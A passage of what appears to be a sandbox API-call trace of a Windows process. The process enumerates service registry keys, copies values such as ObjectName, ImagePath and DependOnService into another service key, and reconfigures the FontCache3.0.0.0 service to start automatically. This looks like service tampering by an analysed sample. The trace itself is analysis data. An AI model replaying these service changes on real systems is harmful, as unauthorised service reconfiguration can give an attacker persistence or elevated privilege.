out: lpName="MozillaMaintenance") returned 0x0 [0254.974] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mpio") returned 0x0 [0254.975] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0254.975] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb9, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0254.975] RegEnumKeyW (in: hKey=0x154, dwIndex=0xba, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0254.975] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbb, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0254.975] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbc, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0254.975] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbd, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0254.975] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbe, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msahci") returned 0x0 [0254.975] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbf, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0254.975] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0254.975] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0254.975] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0254.975] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0254.975] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0254.975] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0254.975] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0254.975] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0254.976] RegOpenKeyExW (in: hKey=0x154, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x160) returned 0x0 [0254.976] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd29e0) returned 1 [0254.976] RegCloseKey (hKey=0x154) returned 0x0 [0254.976] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0254.976] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0254.976] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0254.976] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SAM") returned 0x0 [0254.976] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0254.976] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0254.976] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0254.976] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0xc8) returned 0x0 [0254.976] RegCloseKey (hKey=0x80000002) returned 0x0 [0254.976] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0254.976] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0254.976] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0254.976] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="RNG") returned 0x0 [0254.977] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Select") returned 0x0 [0254.977] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Setup") returned 0x0 [0254.977] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Software") returned 0x0 [0254.977] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="WPA") returned 0x0 [0254.977] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0254.977] RegOpenKeyExW (in: hKey=0xc8, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x154) returned 0x0 [0254.977] RegCloseKey (hKey=0xc8) returned 0x0 [0254.977] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Control") returned 0x0 [0254.977] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Enum") returned 0x0 [0254.977] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0254.977] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Policies") returned 0x0 [0254.977] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="services") returned 0x0 [0254.977] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0xc8) returned 0x0 [0254.977] RegCloseKey (hKey=0x154) returned 0x0 [0254.977] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0254.977] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0254.978] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0254.978] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0254.978] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0254.978] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0254.978] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0254.978] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0254.978] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0254.978] RegEnumValueA (in: hKey=0x160, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.978] RegEnumValueA (in: hKey=0x160, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.978] RegEnumValueA (in: hKey=0x160, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.978] RegEnumValueA (in: hKey=0x160, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.978] RegEnumValueA (in: hKey=0x160, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.978] RegEnumValueA (in: hKey=0x160, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.979] RegEnumValueA (in: hKey=0x160, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.979] RegEnumValueA (in: hKey=0x160, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.982] RegEnumValueA (in: hKey=0x160, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.982] RegEnumValueA (in: hKey=0x160, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.982] RegEnumValueA (in: hKey=0x160, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.982] RegEnumValueA (in: hKey=0x160, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0254.982] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x1e708b8*, cbData=0x195 | out: lpData=0x1e708b8*) returned 0x0 [0254.982] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e708b8) returned 1 [0254.982] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0254.982] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4690) returned 1 [0254.982] RegEnumValueA (in: hKey=0x160, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.982] RegEnumValueA (in: hKey=0x160, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.982] RegEnumValueA (in: hKey=0x160, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.983] RegEnumValueA (in: hKey=0x160, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.983] RegEnumValueA (in: hKey=0x160, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.983] RegEnumValueA (in: hKey=0x160, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.983] RegEnumValueA (in: hKey=0x160, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.983] RegEnumValueA (in: hKey=0x160, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.983] RegEnumValueA (in: hKey=0x160, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.983] RegEnumValueA (in: hKey=0x160, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.983] RegEnumValueA (in: hKey=0x160, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.983] RegEnumValueA (in: hKey=0x160, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0254.983] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0254.983] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de46d8) returned 1 [0254.983] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="NT Authority\\LocalService", cbData=0x1a | out: lpData="NT Authority\\LocalService") returned 0x0 [0254.983] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de46d8) returned 1 [0254.983] RegEnumValueA (in: hKey=0x160, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.983] RegEnumValueA (in: hKey=0x160, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.984] RegEnumValueA (in: hKey=0x160, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.984] RegEnumValueA (in: hKey=0x160, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.984] RegEnumValueA (in: hKey=0x160, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.984] RegEnumValueA (in: hKey=0x160, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.984] RegEnumValueA (in: hKey=0x160, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.984] RegEnumValueA (in: hKey=0x160, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.984] RegEnumValueA (in: hKey=0x160, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.984] RegEnumValueA (in: hKey=0x160, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.984] RegEnumValueA (in: hKey=0x160, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.984] RegEnumValueA (in: hKey=0x160, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0254.984] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0254.984] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47f8) returned 1 [0254.984] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0254.984] RegEnumValueA (in: hKey=0x160, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.985] RegEnumValueA (in: hKey=0x160, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.985] RegEnumValueA (in: hKey=0x160, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.985] RegEnumValueA (in: hKey=0x160, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.985] RegEnumValueA (in: hKey=0x160, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.985] RegEnumValueA (in: hKey=0x160, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.985] RegEnumValueA (in: hKey=0x160, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.985] RegEnumValueA (in: hKey=0x160, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.985] RegEnumValueA (in: hKey=0x160, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.985] RegEnumValueA (in: hKey=0x160, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.985] RegEnumValueA (in: hKey=0x160, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.985] RegEnumValueA (in: hKey=0x160, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0254.985] ExpandEnvironmentStringsA (in: lpSrc="%systemroot%\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x49 [0254.985] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5fb0 [0254.985] ExpandEnvironmentStringsA (in: lpSrc="%systemroot%\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe", lpDst=0x1de5fb0, nSize=0x49 | out: lpDst="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe") returned 0x48 [0254.985] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0254.985] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe", cbData=0x48 | out: lpData="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe") returned 0x0 [0254.985] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe", pNumArgs=0x18fb80 | out: pNumArgs=0x18fb80) returned 0x5d3a08*="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe" [0254.986] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d678 [0254.986] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d498 [0254.986] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x1e6e578 [0254.986] LocalFree (hMem=0x5d3a08) returned 0x0 [0254.986] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe", cbData=0x48 | out: lpData="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe") returned 0x0 [0254.986] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="FontCache3.0.0.0", dwDesiredAccess=0x2) returned 0x5d6d08 [0254.992] ChangeServiceConfigW (in: hService=0x5d6d08, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0255.008] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0255.009] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0255.009] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d308) returned 1 [0255.009] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d660) returned 1 [0255.009] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5fb0) returned 1 [0255.009] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d258) returned 1 [0255.009] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d630) returned 1 [0255.009] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0255.009] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0255.009] RegCloseKey (hKey=0x154) returned 0x0 [0255.009] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58e8c8) returned 1 [0255.009] RegCloseKey (hKey=0x160) returned 0x0 [0255.009] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de43c0) returned 1 [0255.009] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4378) returned 1 [0255.009] GetFileAttributesExW (in: 